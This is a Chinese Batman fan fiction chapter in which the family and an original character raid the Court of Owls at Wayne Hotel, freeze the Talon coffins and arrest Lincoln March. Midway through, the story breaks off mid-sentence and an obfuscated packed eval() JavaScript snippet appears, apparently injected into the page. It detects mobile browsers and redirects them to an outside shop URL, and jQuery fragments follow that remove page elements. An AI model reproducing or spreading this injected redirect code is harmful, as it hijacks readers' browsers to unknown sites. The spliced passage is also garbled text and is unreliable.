1
蝙蝠洞的主屏幕上，林肯·马奇的DNA比对结果弹出来了。提姆端着咖啡杯站在旁边，看了一眼屏幕，又看了一眼布鲁斯。“所以他是你弟弟吗？”
“不是。”
布鲁斯把报告往下拉。基因序列的对比数据一条一条地滚过去，绿色代表匹配，红色代表不匹配。绿色占了大部分——韦恩家族的基因特征很明显，马奇身上确实有。但那不是遗传的。报告最后一页的结论栏里，芭芭拉用红字标注了一行：“DNA样本存在人工编辑痕迹。非自然遗传，后天植入。”
提姆凑过来看了一眼。
“所以他是假的？”
布鲁斯盯着屏幕。“他是法庭从别处找来的孤儿，从小被灌输了‘他是托马斯·韦恩’的记忆。DNA被修改过，让他更像韦恩家族的人。”他停了一下。“但他是假的。”
提姆喝了一口咖啡。“花了几十年养一个假儿子来对付真儿子，法庭还挺有耐心的。”
布鲁斯没说话。
阿尔弗雷德端着茶盘从楼梯上走下来，把一杯茶放在布鲁斯手边。他看了一眼屏幕上那份报告，又看了一眼布鲁斯。
“老爷，需要我准备一间客房吗？”
布鲁斯端起茶杯。“不用。”
阿尔弗雷德点了点头，端着茶盘走了。
看来庄园不会又迎来一个主人了。
虽然现在已经很多。
———
2
行动定在两天后。
芭芭拉黑进了林肯·马奇的私人日程表，发现他每周三晚上都会去韦恩酒店顶层的私人包厢。提姆调了酒店过去三个月的监控——每个周三晚上，同一时间，同一楼层，不同的豪车停在地下停车场。车牌号对应的人名，和蝙蝠侠之前推出来的那十一个名字完全吻合。
“他们在那里集会。”蝙蝠侠说。主屏幕上显示着韦恩酒店的楼层结构图，顶层被红圈标注。“周三晚上，十一点。所有人都会到场。”
“利爪呢？”杰森问。
“在地下。”卡伦开口了。他站在屏幕旁边，双手插在口袋里，看着那张结构图。“琥珀金的能量集中在酒店正下方三层的位置。棺材是竖着放的，像书架。我上次摸到过那种排列方式。他们在休眠，没有唤醒的迹象。”
说不定猫头鹰法庭是有什么恶趣味的，在酒店下面盖停尸间，曾经的住客知道了会不会闹翻天？
啊，这样说还挺符合酒店的职能的，上面是给活人住的，下面是给，，半死不活的人住的？
“能冻住吗？”蝙蝠侠问。
卡伦从口袋里摸出一枚冰蓝色的符石，在指间转了一圈。“专门炼的。琥珀金怕低温，这批符石的制冷量比上次用的高五倍。只要插进棺材的能量输送管道，整个休眠系统就会冻结，非外界唤醒，利爪醒不过来。”
蝙蝠侠点头。“宴会厅交给我，外围交给提姆，地下的利爪交给卡伦。”
“我呢？”达米安从训练室走出来，手里还握着刀。
“你跟我进场。”
达米安把刀收回去，看了一眼布鲁斯，又看了一眼屏幕上的名单。“需要我动手吗？”
“需要你闭嘴。”
达米安哼了一声，走到角落里擦刀去了。
杰森靠在墙上，双臂抱在胸前，看着屏幕上的行动计划。他的目光从“外围”两个字上扫过去，又扫了一眼卡伦。卡伦没看他，在研究手里的符石。
“你一个人下去？”杰森问。
卡伦抬头。“嗯。”
“下面有多少棺材？”
“至少四十六个。”
“你一个人冻四十六个棺材？”
卡伦把符石收进口袋。“我跑得快。”
杰森盯着他看了两秒。“你上次也说你跑得快。”他的语气很平，像在陈述一个事实。“我有点记不清了，那十一针是缝在狗身上了吗？”
卡伦张了张嘴。他想说“那是意外”，但杰森没给他机会。
“我跟你去。”杰森转头看蝙蝠侠。“地下的利爪需要两个人。”
蝙蝠侠看了他一眼，又看了卡伦一眼。
卡伦的表情很微妙——不是不愿意，是被抓包的那种心虚。像一个人被翻出了旧账，所以他还不了嘴。
“行。”蝙蝠侠说。
杰森已经低头看手机了。卡伦站在他旁边，嘴唇动了一下，没发出声音。
他想说“你不用跟我去”，想说“我能行”，想说“上次真的是意外”。
但他什么都没说出来。因为他看见杰森手机屏幕上是哥谭地下管网的三维模型——他已经在研究了。不是在跟他商量，是在做决定。卡伦把嘴闭上了。
简直像是蝙蝠侠上身了。
那种“我已经预判了你的预判并且提前做好了准备”的笃定，“我不是在跟你商量”的平静，“你上次搞砸了所以这次你得听我的”的理所当然。
父子，真的是父子。卡伦在心里叹了口气。
他看了一眼自己的伤口，愈合得差不多了，但还没拆线。
信用值这东西，在杰森那里大概是负数了。
他把手插进口袋里，摸到那枚冰蓝色的符石。算了，负数就负数吧。反正有人跟着，也不是坏事。
反耳呢，收获一只小浣熊队友是天大的好事才对。
杰森把手机收起来，看了他一眼。“周三晚上，你跟在我后面。”
杰森：魔法师就给我老老实实站在后排。
卡伦：这个时候终于想起来我是魔法师了吗？
思维诡异的同频了呢。
不对，他是个医生啊！（恍然大悟）他应该是个牧师才对！现在为什么这么顺手的做起了突袭的事啊！
不管心思几经波折，卡伦面上还是平静的：“好。”
杰森转身走了。
阿尔弗雷德从楼梯上走下来，手里端着空茶盘。带着点儿感慨的语调，像看着自家叛逆的孩子终于学会合作了。
“杰森少爷很少主动要求跟谁一起行动。”
然后他端着茶盘，不紧不慢地上了楼。卡伦站在蝙蝠洞里，看着阿尔弗雷德的背影消失在楼梯转角。
那句话在他脑子里转了一圈。
杰森少爷很少主动要求跟谁一起行动。他很少主动要求跟谁一起行动。他很少主动要求跟谁一起。他很少主动要求跟谁。
停停停，好霸总文学的话。让他忘了吧。
卡伦把目光移回主屏幕上。杰森的名字写在他名字旁边。两个挨在一起的名字。他把目光移开了。
———
3
周三晚上，韦恩酒店。
哥谭的夜风很冷。卡伦蹲在对面大楼的楼顶上，兜帽拉得低低的，头发被风吹到脸上。他把感知网往下探。琥珀金的能量在酒店正下方缓慢地流动，像一条冬眠的蛇。棺材是竖着放的，四十六个，整整齐齐，像图书馆的书架。他摸清了每一条能量输送管道的走向，在心里画了一张图。冰符石的安放位置、触发顺序、撤退路线，全在脑子里过了一遍。
通讯器里传来蝙蝠侠的声音。“各就各位。”
卡伦站起来，把兜帽往下拉了拉。“地下就位。”
“外围就位。”提姆的声音。
“东侧就位。”迪克。
“西侧就位。”芭芭拉。
“宴会厅就位。”达米安。
卡伦等了几秒。通讯器里没有杰森的声音。他低头看了一眼自己的脚边——杰森蹲在他旁边，手按在耳麦上，没说话。
布鲁斯的声音再次响起。“行动。”
卡伦从楼顶跳下去。风从耳边呼啸而过，他蹬了一脚墙壁，卸掉下坠的力道，落在酒店后巷的地面上。膝盖弯了一下，像是脚上自带肉垫一样，没发出什么响动。杰森落在他旁边。
两个人一前一后走进消防通道。
楼梯很窄，只能容一个人通过。
不管之前怎么说，卡伦就当忘了，最终还是卡伦走在前面带路，杰森跟在他身后。
脚步声在空荡荡的楼梯间里来回弹，被安全门的橡胶封条压成了闷响。卡伦的感知网一直开着，琥珀金的能量在墙壁里流动，越来越密，越来越强。到地下二层的时候，墙壁上开始出现猫头鹰的浮雕。暗红色的灯光从头顶照下来，把两个人的影子拉得很长。
卡伦停下来。面前是一扇铁门，门缝里渗出一股冷腥味。琥珀金。他把手按在门上，感知了一下。门后面是一个巨大的圆形空间。棺材靠墙码着，从地面一直堆到天花板。四十六个。都在休眠。
“就是这里。”卡伦说。
杰森拔出了枪，卡伦看了他一眼。“用不上，它们醒不了。”
“伦尼，你预料错的时候还少吗？。”杰森带着头盔看不清表情，但卡伦猜测他翻了个白眼。
卡伦把嘴闭上了。
他把手按在门锁上，银白色的光丝从指尖渗出来，钻进锁芯。咔嗒一声，门开了。
圆形空间比卡伦预想的还要大。
棺材是琥珀金色的，在暗红色的灯光底下泛着金属的光泽。每一口棺材上都嵌着一块玻璃，能看见里面躺着的人。他们的脸是灰白色的，嘴唇没有颜色，指甲很长。眼睛闭着，简直和死人一模一样。
卡伦走过第一排棺材的时候，放慢了脚步。他看见里面躺着一个年轻人，看起来不到二十岁，脸颊上有一道很长的疤，从颧骨一直延伸到下颌。他穿着黑色的战斗服，双手交叠放在腹部，指甲修剪得很整齐。卡伦盯着那张脸看了两秒。然后他移开目光，继续往前走。
杰森跟在他后面，枪握在手里，没有举起来。他的目光从那些棺材上扫过去。卡伦看见他的手指在枪柄上攥紧了。
等等，卡门突然想起来迪
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444134|201073||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
克的牙上，好像也有猫头鹰的标志，他怎么把这个细节给忘了？
好险，要是没有蝙蝠侠，迪克可能也是在这里躺着的一员了。
卡伦在第一排棺材的尽头停下来。墙壁上有一根很粗的管道，琥珀金的能量在这里分叉，流向每一口棺材。这是主输送管。他把冰符石从口袋里掏出来，按在管道上。
银白色的光丝从符石里渗出来，钻进管道，顺着琥珀金的流向蔓延。霜从符石接触的地方开始结，沿着管道往外爬，像植物的根系，像血管。第一口棺材的玻璃上结了霜，第二口，第三口。卡伦闭着眼睛，感知着每一根管道的冻结进度。
他睁开眼。“好了。”
杰森把枪收起来。“这次倒是快。”
“我说了我跑得快。”
“你上次也说你跑得快。”阴阳怪气的语调。
卡伦深吸一口气：“你能不提上次吗？”无力地像个被翻旧账的丈夫。
杰森看了他一眼：“不能。”
卡伦无言以对，转身往门口走，两个人一前一后走出圆形空间，铁门在他们身后关上了。
卡伦走在前面，脚步很快。不是生气，或者说他现在也不知道他此刻的情绪中生气占了多少，更多的是，有点好笑？杰森在后面，脚步不紧不慢。
卡伦听见他哼了一声，是那种“我知道你在想什么但我懒得拆穿你”的笑。
卡伦把兜帽往下拉了拉，再次加快了脚步。
笑笑笑，你就笑死在这儿吧！！
他们回到地面的时候，宴会厅那边的战斗已经结束了。
卡伦推开消防通道的门，看见走廊里站着几个警察，正在给戴白色猫头鹰面具的人戴手铐。真没想到这群警察面对猫头鹰们这些位高权重的人能行动的这么快，也许是因为韦恩在场吧。
相比之下，韦恩才是哥谭的father
戈登站在电梯口，手里拿着对讲机，看见卡伦和杰森从消防通道出来，点了点头，继续说话。
卡伦穿过走廊，往宴会厅里看了一眼。椅子倒了一地，酒杯碎了几只，红地毯上有几滴暗红色的液体。布鲁斯站在窗边，手里拿着一块手帕在擦指节。达米安站在他旁边，刀已经收到不知道哪里了，表情很平静。
林肯·马奇被两个警察按在地上，手铐已经铐上了。他的白色猫头鹰面具碎成两半，掉在地上。
他的脸上有一道血痕，嘴角破了，但他还在笑。（卡伦：别笑了，你这样有种即视感。）他看着布鲁斯。
“你以为抓了我，法庭就完了？”他的声音很轻，像在说一个秘密。“法庭无处不在，你抓不完的。”
布鲁斯把手帕收进口袋。“也许吧，但你完了。”
其他地方的猫头鹰好不好，你跟复仇者们问去吧。
马奇的笑容僵了一下。警察把他从地上拽起来，推着往电梯走。经过布鲁斯的时候，他停下来。
“你真的不想知道吗？”马奇说。“你父母到底为什么死？”
布鲁斯看着他。那双蓝色的眼睛里没有愤怒，至少表面上没有悲伤，也没有任何多余的东西。
“我父母死于街头犯罪。”布鲁斯说。“你是猫头鹰法庭的成员。你犯下了谋杀、绑架、恐怖袭击等多项罪行。不管你是谁，你都要为这些负责。”
马奇的嘴张了一下，没发出声音。
布鲁斯转身走了，达米安跟上去。马奇被警察推进了电梯。
门关上了。
卡伦站在走廊里，看着电梯门合上，看着马奇的脸消失在门缝后面。那双眼睛中的野心还没有熄灭。
卡伦把目光收回来，转身往消防通道走。杰森跟上他。
两个人一前一后走出韦恩酒店的后门。哥谭的夜风迎面扑来，冷得卡伦眯了一下眼睛。他站在台阶上，看着远处的天际线。灰蒙蒙的，看不见星星。
“结束了？”杰森站在他旁边，双手插在口袋里。
卡伦想了想。“哥谭的事，没有结束。只是这一件结束了。”
杰森没说话。两个人站在台阶上，看着哥谭的夜空。风从他们中间穿过去，冷，但不刺骨。
过了一会儿，杰森转身往巷子里走。“走了。”
卡伦看着他的背影。走了几步，杰森停下来，没回头。
“明天还来。”
他走进巷子，消失在黑暗里。卡伦站在台阶上，看着那条空荡荡的巷子。哥谭的夜风把他的头发吹到脸上。他把头发别到耳后，转身往东区走。
长发还是有些碍事，回头剪了吧。
走了两步，他停下来。
回想起杰森说的那些话的语气，迟来的笑点又击中了他。
像在念天气预报，和蝙蝠侠状态的哥谭甜心一模一样。
卡伦站在空荡荡的巷子里，对着哥谭灰蒙蒙的夜空，笑了一下。
真是父子。